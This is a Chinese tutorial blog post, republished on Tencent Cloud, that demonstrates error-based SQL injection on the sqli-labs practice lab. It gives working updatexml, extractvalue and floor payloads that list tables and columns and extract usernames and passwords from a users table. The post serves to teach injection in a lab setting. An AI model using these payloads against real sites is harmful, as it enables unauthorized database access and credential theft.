专栏首页一名白帽的成长史【SQL注入】关于报错注入的一些测试

【SQL注入】关于报错注入的一些测试

Hello,各位小伙伴周六好~

这里是你们的小编Monster~

最近有小伙伴留言问到报错注入是怎么一回事?

小编其实也只有用过updatexml这一个报错函数...

刚好今天有时间,我们就一起来试试一些常见的报错注入函数的效果吧~

Part.1

实验环境

实验环境

我们这里使用sqli-labs靶机来进行测试,这是一个练习sql注入的专用靶机,如下:

感兴趣的小伙伴可以去下载一下。

这里我们打开class 5,用这一关来进行实验:

这一关只会显示查询结果,不会显示查询内容。

例如输入?id=1,此时查询内容存在,显示如下:

输入?id=100000,此时查询内容不存在,显示如下:

输入id=1' ,语法报错如下:

根据上面的报错,输入?id=1' and 1=1 --+ 语法上显示正常。确定payload:

此SQL注入页面不显示查询内容,只显示查询对错,因此可以通过布尔盲注的方法进行查询。今天测试的是报错注入,此处我们先不进行展开。

class5 源代码如下:

我们来试试这三种报错注入函数:updatexml(),extractvalue(),floor()

Part.2

updatexml 方法

updatexml 方法

固定格式为:

?id=1' and updatexml(1,concat(0x7e,(******),0x7e),1)--+

我们先查询一下当前数据库的版本信息:

查询当前登陆用户:

查询当前所处的数据库:

查询当前数据库中的表名:

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

查询users表中的字段:

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+

最后,查询用户名密码:

?id=1' and updatexml(1,concat(0x7e,( select concat_ws('%23',id,username,password) from users),0x7e),1)--+

显示出错,是因为报错信息每次只能显示1行,所以需要配合limit功能,修改payload如下:

?id=1' and updatexml(1,concat(0x7e,( select concat_ws('%23',id,username,password) from users limit 0,1),0x7e),1)--+

查询下一位用户信息:

?id=1' and updatexml(1,concat(0x7e,(select concat_ws('%23',id,username,password) from users limit 1,1),0x7e),1)--+

以上,通过updatexml()函数查出了用户信息。

Part.3

其他

其他

其他两种报错注入语句的使用方法大同小异,这里给出简单演示。

(1)extractvalue 方法

固定语句:

?id=1' and extractvalue(1, concat(0x5c, (select ******))) --+

查询用户信息:

?id=1' and extractvalue(1, concat(0x5c, (select concat_ws('%23',id,username,password) from users limit 0,1))) --+

(2)floor 方法

固定语句

?id=1' and (select 1 from (select count(),concat((***), floor(rand(0)2))x from information_schema.columns group by x)a) --+

查询用户信息:

?id=1' and (select 1 from (select count(),concat((select concat_ws('%23',id,username,password) from users limit 0,1), floor(rand(0)2))x from information_schema.columns group by x)a) --+

以上就是一次报错注入的简单演示。

当然,报错注入所涉及的函数远不止上面3种,大家可以自行收集。

Part.4

结语

好啦,以上就是今天的全部内容了~

Peace!

本文分享自微信公众号 - 一名白帽的成长史(monster-liuzhi)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-09-28

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Android自定义View之绘制圆形头像

    版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

    黄林晴
  • Java微信公众平台开发(二)--微信服务器post消息体的接收

    在上一篇的文章中我们详细讲述了如何将我们的应用服务器和微信腾讯服务器之间的对接操作,最后接入成功,不知道你有没有发现在上一篇的【controller】中我定义了...

    用户2417870
  • 在GAE中使用struts2框架

    在确定了IDE和Server之后,就要选择一个web框架了。我选择的是struts2,因为它的使用率很高,网上也很多资源,遇到问题好查。

    明年我18
  • Spring------自动化装配Bean(一) 一、创建 CompactDisc接口和SgetPeppers实现类二、启用spring组件扫描三、编写测试类,并运行 四、补充说明

      CompactDisc接口方法为播放。SgtPeppers实现CompactDisc接口。

    用户2417870
  • 事务没回滚?来,我们从现象到原理一起分析一波!

    需求是有两个表,分别是订单表和订单附加信息表,其中订单表一定要落数据,订单附加信息表保存的时候如果有异常,则回滚,但是不能影响订单表的数据。

    why技术
  • 拒绝一次性买卖:MyBatis的mapper和repository可重复生成工具

    MyBatis的历史可谓久远了,码农们也在用着各式各样的代码生成工具。然而这些工具大部分都有一个缺点,那就是只能一次性生成文件。如果我们期间在生成的文件里做了修...

    明年我18
  • Web端即时通讯基础知识补课:一文搞懂跨域的所有问题!

    本文原作者: Wizey,作者博客:wenshixin.gitee.io,即时通讯网收录时有改动,感谢原作者的无私分享。

    JackJiang
  • Java微信公众平台开发(一)--接入微信公众平台 一、验证服务器代码编写。二、服务器端验证。

    今天正式开始微信公众平台的二次开发。网上有很多的及射入微信公众平台的教程。总的来说都差不多,当了解了接入流程解析,什么都显得理所当然。

    用户2417870
  • Java微信公众平台开发(五)--文本及图文消息回复的实现

    上篇我们说到回复消息可以根据是否需要上传文件到微信服务器可划分为【普通消息】和【多媒体消息】,这里我们来讲述普通消息的回复实现,在消息回复中存在一个关键字段【o...

    用户2417870
  • Spring------自动化装配Bean(三) 一、打开application.xml

    上一篇是基于java手动装配bean的实现,这一篇将通过xml手动装配bean来实现。

    用户2417870

扫码关注云+社区

领取腾讯云代金券